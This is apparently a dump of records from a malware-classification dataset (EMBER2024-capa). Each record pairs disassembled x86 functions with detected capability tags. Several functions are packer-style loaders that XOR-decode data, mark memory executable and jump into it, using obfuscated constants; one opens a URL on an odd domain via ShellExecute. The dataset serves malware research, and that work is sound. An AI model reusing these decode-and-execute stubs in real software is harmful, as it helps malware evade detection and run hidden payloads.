joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021b2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 0x84, 0
sub ebp, 0x82
mov esi, eax
mov cl, byte [0x404050]
mov edx, eax
mov ebx, eax
shl edx, cl
mov eax, 0x404054
add edx, dword [0x404050]
call fcn.004020f3
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x4039aa
push eax
sub edi, fcn.00403144
push edi
push fcn.00403144
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x402229
mov eax, fcn.00403144
mov ebx, esi
mov edx, edi
call fcn.004020f3
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.00402d42
lea edx, [ebp - 2]
mov eax, esi
mov dword [ebp - 2], 0
call fcn.0040151f
lea eax, [esi + 0x1c000]
lea edi, [esi + 1]
imul edi, eax
mov ebx, 0x404054
or bl, 1
xor edx, edx
mov eax, esi
div ebx
lea ebx, [ebp - 2]
add eax, 0x404054
mov edx, edi
call fcn.00403144
lea esp, [ebp + 0x82]
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x408a51
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x408a60
pop dword [ebp - 0x50]
mov eax, 0x1fd9bcc6
sub eax, 0x1f993266
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x2faccc49
add dword [ebp - 0x60], 0x1ea57902
mov dword [ebp - 0x5c], 0xa558691b
sub dword [ebp - 0x5c], 0x73251cd6
mov dword [ebp - 0x58], 0x24fff97a
sub dword [ebp - 0x58], 0xd8b3b54c
mov dword [ebp - 0x54], 0xde0ea9bd
sub dword [ebp - 0x54], 0xde0ea9bd
lea eax, [ebp - 0x60]
push eax
mov eax, 0x7634f02e
sub eax, 0x75f41fda
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x58ae7cb4
sub dword [ebp - 0x60], 0xe43c135e
mov dword [ebp - 0x5c], 0x1dbbdea4
sub dword [ebp - 0x5c], 0xdc4f7d2f
mov dword [ebp - 0x58], 0xb6b5e8ff
sub dword [ebp - 0x58], 0x53467c93
mov dword [ebp - 0x54], 0xc0e5f41c
add dword [ebp - 0x54], 0x3f1a0be4
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa07
push 0
call eax
mov ecx, 0x4c73
mov edi, eax
mov esi, 0xfd36d891
sub esi, 0xfcf52891
add esi, dword [ebp - 0x50]
mov ebx, 0xd28d790
add ebx, 0x5251ccad
mov dword [ebp - 0x40], 0xc443fc50
mov edx, dword [esi]
sub dword [ebp - 0x30], 0xdc6d3928
add edx, ebx
xor dword [ebp - 0xc], edx
mov dword [edi], edx
xor dword [ebp - 4], eax
add edi, 0xc5cdb5e6
add edi, 0x3a324a1e
add esi, 4
loop 0x408b77
add eax, 0x19d87092
add eax, 0xe628b40d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf2b0928b
add ecx, 0xd8f6d75
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4020a2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 8], ecx
lea ecx, [ebp - 4]
push edi
call fcn.004030d0
push 0x800
xor ebx, ebx
push ebx
push str.kernelbase.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
je 0x4020f2
push str.GetTempPath2W
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4020f2
mov esi, 0x104
lea ecx, [ebp - 4]
push esi
call fcn.00403123
push eax
push esi
call edi
jmp 0x402108
mov esi, 0x104
lea ecx, [ebp - 4]
push esi
call fcn.00403123
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 4]
mov edi, eax
call fcn.004030f7
test edi, edi
je 0x40213f
cmp edi, esi
jae 0x40213f
mov esi, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
mov ecx, esi
call fcn.00401f33
test al, al
je 0x40213f
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 0x24]
call fcn.00402fd3
mov byte [esi + 0x28], bl
mov bl, 1
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.00401252
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4021b9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x424018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x208
xor edi, edi
lea eax, [ebp - 0x210]
push edi
push eax
mov esi, ecx
call fcn.00408110
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push edi
push 0x421290
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x402250
lea eax, [ebp - 0x214]
mov dword [ebp - 0x214], edi
push eax
push edi
push 1
push 0x100
push 0x4000002
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_SHCreateStreamOnFileEx]
test eax, eax
js 0x402250
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x402252
push eax
call fcn.00402151
test al, al
mov eax, dword [ebp - 0x214]
jne 0x402252
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, edi
jmp 0x402252
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00407c07
leave
ret

Function at 0x4027ec
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
push esi
xor esi, esi
push esi
push eax
push esi
push 3
push esi
push esi
push esi
push 0x4212a4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402873
push ebx
push edi
push 4
pop edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 4]
mov ebx, str.WindowsUpdateAttempts
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402846
cmp dword [ebp - 0x10], edi
jne 0x402846
mov eax, dword [ebp - 4]
jmp 0x40284b
mov eax, esi
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jae 0x402854
inc eax
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
push edi
push esi
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401f30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408048
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x408040]
sub esp, 4
test ebx, ebx
je 0x401f7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401f74
test esi, esi
je 0x401f74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f50
mov dword [esp], 0x408048
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402160
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4021b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x402288
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021ee
cmp eax, 4
jne 0x402210
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4021fe
cmp edx, 4
je 0x4021fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402160
Function at 0x1000b7d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x1000ce6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1000ce7c
pop dword [ebp - 4]
mov eax, 0x3c952a00
sub eax, 0x2c945b84
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x7821112d
add dword [ebp - 0x14], 0xd631341e
mov dword [ebp - 0x10], 0x4f64f148
add dword [ebp - 0x10], 0xe2ce5afd
mov dword [ebp - 0xc], 0xe1bb0dfd
add dword [ebp - 0xc], 0x6a913631
mov dword [ebp - 8], 0xb9642fd2
sub dword [ebp - 8], 0xb9642fd2
lea eax, [ebp - 0x14]
push eax
mov eax, 0x573e8fc8
sub eax, 0x473d9f18
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xfdf3bcd8
sub dword [ebp - 0x14], 0x89815382
mov dword [ebp - 0x10], 0xe44835cf
sub dword [ebp - 0x10], 0xa2dbd45a
mov dword [ebp - 0xc], 0x850758b5
add dword [ebp - 0xc], 0xde6813b7
mov dword [ebp - 8], 0x562e99ca
sub dword [ebp - 8], 0x562e99ca
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x825ace1f
sub eax, 0x7259dd77
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x399c8
push 0
call eax
mov ecx, 0x4b30
xor esi, esi
add esi, eax
mov edi, 0x10023600
add edi, dword [ebp - 4]
mov ebx, 0x3386f681
add ebx, 0x15768172
mov edx, dword [edi]
xor edx, ebx
mov dword [esi], edx
add esi, 0xb40b87e8
add esi, 0x4bf4781c
add edi, 0x54791805
add edi, 0xab86e7ff
loop 0x1000cf94
add eax, 0x8146f117
add eax, 0x7eba2e7c
xor ebx, ebx
add ebx, eax
add eax, 0xd5675640
sub eax, 0xd567563b
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44e004]
jne 0x40100a
repz ret
jmp fcn.004011ef

Function at 0x40316b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402117
and dword [ebp - 0x14], 0
cmp dword [0x4508ac], 0
mov dword [ebp - 0x18], eax
jne 0x40321e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4032c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4032c6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4508ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4508b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4508b4], eax
call edi
push eax
call esi
mov dword [0x4508bc], eax
test eax, eax
je 0x40321e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4508b8], eax
mov eax, dword [0x4508b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403277
cmp dword [0x4508bc], ecx
je 0x403277
push eax
call esi
push dword [0x4508bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403277
test ebx, ebx
je 0x403277
call edi
test eax, eax
je 0x40326e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40326e
test byte [ebp - 8], 1
jne 0x403277
or dword [ebp + 0x10], 0x200000
jmp 0x4032aa
mov eax, dword [0x4508b0]
cmp eax, dword [ebp - 0x18]
je 0x4032aa
push eax
call esi
test eax, eax
je 0x4032aa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4032aa
mov eax, dword [0x4508b4]
cmp eax, dword [ebp - 0x18]
je 0x4032aa
push eax
call esi
test eax, eax
je 0x4032aa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4508ac]
call esi
test eax, eax
je 0x4032c6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4032c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x405690
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x44e004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056c9
mov eax, dword [0x44f934]
mov dword [0x48c694], eax
cmp dword [0x48c30c], 0x3c
jne 0x4056d5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4056b7
cmp dword [0x48c30c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40575b
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x48c30c], 0x110a
jne 0x4057bc
push ebx
mov dword [0x48c300], ebx
mov dword [0x48c304], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.alezecebesijorabifovihapida
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
add esp, 0x18
call fcn.00405430
xor ecx, ecx
cmp dword [0x48c30c], ebx
jbe 0x4057fb
jmp 0x4057d0
mov eax, dword [0x48c694]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x48c030]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x48c30c]
jb 0x4057d0
push str.msimg32.dll
call esi
mov ecx, dword [0x48c30c]
mov edx, dword [0x48c030]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405600
call fcn.00405450
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405858
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405861
inc esi
cmp esi, 0x1ece7a52
jl 0x405835
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40587d
call fcn.00405420
cmp dword [0x48c30c], 0x3dc
mov dword [0x48c034], 0x8e46a6f0
jne 0x4058b7
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.rixovohucivununiboneb_huzurucurajo_jajonaberewevale_sivakawizematec
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405870
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x438004]
jne 0x40100a
repz ret
jmp fcn.0040129c

Function at 0x40324b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x438004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040223e
and dword [ebp - 0x14], 0
cmp dword [0x43aab0], 0
mov dword [ebp - 0x18], eax
jne 0x4032fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4033a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4033a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43aab0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43aab4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43aab8], eax
call edi
push eax
call esi
mov dword [0x43aac0], eax
test eax, eax
je 0x4032fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43aabc], eax
mov eax, dword [0x43aabc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403357
cmp dword [0x43aac0], ecx
je 0x403357
push eax
call esi
push dword [0x43aac0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403357
test ebx, ebx
je 0x403357
call edi
test eax, eax
je 0x40334e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40334e
test byte [ebp - 8], 1
jne 0x403357
or dword [ebp + 0x10], 0x200000
jmp 0x40338a
mov eax, dword [0x43aab4]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40338a
mov eax, dword [0x43aab8]
cmp eax, dword [ebp - 0x18]
je 0x40338a
push eax
call esi
test eax, eax
je 0x40338a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43aab0]
call esi
test eax, eax
je 0x4033a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4033a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x4054f0
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x438b10]
sub esp, 0x10
push esi
mov esi, dword [0x442618]
push edi
mov edi, dword [0x4428f4]
push eax
call fcn.004053e0
add esp, 4
cmp dword [0x4428f4], 0x2f
jne 0x405550
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push str.Bihux_nivew_zuziduzaz_winojego_roli
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push esi
call fcn.00405430
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405820
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4428f4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
nop
cmp eax, 0x8cf
jne 0x405842
push 0
push 0
call edi
mov eax, dword [0x4428f4]
cmp esi, 0x845013
jne 0x405859
mov eax, dword [0x439930]
add eax, 0xa231
mov dword [0x4428f4], eax
cmp eax, 0x141
jne 0x405874
mov dword [0x43aff0], 0xec58acac
mov dword [0x43aff4], 0xffffffff
inc esi
cmp esi, 0xbbe2a98
jl 0x405830
call fcn.00405560
pop edi
xor eax, eax
pop esi
ret 0x10
Function at 0x401000
Capabilities:
Create process on windows
Terminate process

Disassembly:
push edi
mov edi, str.http:__lajdbgdefg.net_llll.html_search_BA_F2_B9_F0_2D_B0_C5_C1_FE_B8_BBmp3
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
je 0x401030
push 1
push eax
push eax
push str.http:__lajdbgdefg.net_llll.html_search_BA_F2_B9_F0_2D_B0_C5_C1_FE_B8_BBmp3
push str.OPEN
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
ret 0x10

Function at 0x401c85
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4051f0
cmp edx, dword [eax]
je 0x401ca7
add eax, 8
inc ecx
cmp eax, 0x405280
jl 0x401c98
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4051f0]
jne 0x401dd5
mov eax, dword [0x4055a8]
cmp eax, 1
je 0x401daf
test eax, eax
jne 0x401cd8
cmp dword [0x405140], 1
je 0x401daf
cmp edx, 0xfc
je 0x401dd5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401d0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402230
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004023a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x401d52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004023a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x404380
push edi
call fcn.00403030
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402230
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402240
lea eax, [ebp - 0xa0]
push 0x404360
push eax
call fcn.00402240
push dword [esi + 0x4051f4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402240
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00402f9e
add esp, 0x2c
pop edi
jmp 0x401dd5
lea eax, [ebp + 8]
lea esi, [esi + 0x4051f4]
push 0
push eax
push dword [esi]
call fcn.004023a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret